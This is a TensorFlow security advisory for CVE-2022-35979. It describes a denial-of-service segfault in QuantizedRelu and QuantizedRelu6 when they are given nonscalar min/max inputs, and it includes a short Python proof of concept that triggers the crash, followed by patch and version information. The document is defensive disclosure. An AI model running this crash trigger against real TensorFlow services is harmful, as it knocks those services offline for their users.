TensorFlow vulnerable to segfault in `QuantizedRelu` and `QuantizedRelu6`

TensorFlow

CVE-2022-35979 · Published Sep 16, 2022 · updated Jul 13, 2026

Medium5.9
Fix: upgrade to 2.7.2 or later (3 fixed versions below)
GitHub advisory

Impact

If QuantizedRelu or QuantizedRelu6 are given nonscalar inputs for min_features or max_features, it results in a segfault that can be used to trigger a denial of service attack.

```python

import tensorflow as tf

out_type = tf.quint8

features = tf.constant(28, shape=[4,2], dtype=tf.quint8)

min_features = tf.constant([], shape=[0], dtype=tf.float32)

max_features = tf.constant(-128, shape=[1], dtype=tf.float32)

tf.raw_ops.QuantizedRelu(features=features, min_features=min_features, max_features=max_features, out_type=out_type)

tf.raw_ops.QuantizedRelu6(features=features, min_features=min_features, max_features=max_features, out_type=out_type)

`

Patches

We have patched the issue in GitHub commit [49b3824d83af706df0ad07e4e677d88659756d89](https://github.com/tensorflow/tensorflow/commit/49b3824d83af706df0ad07e4e677d88659756d89).

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
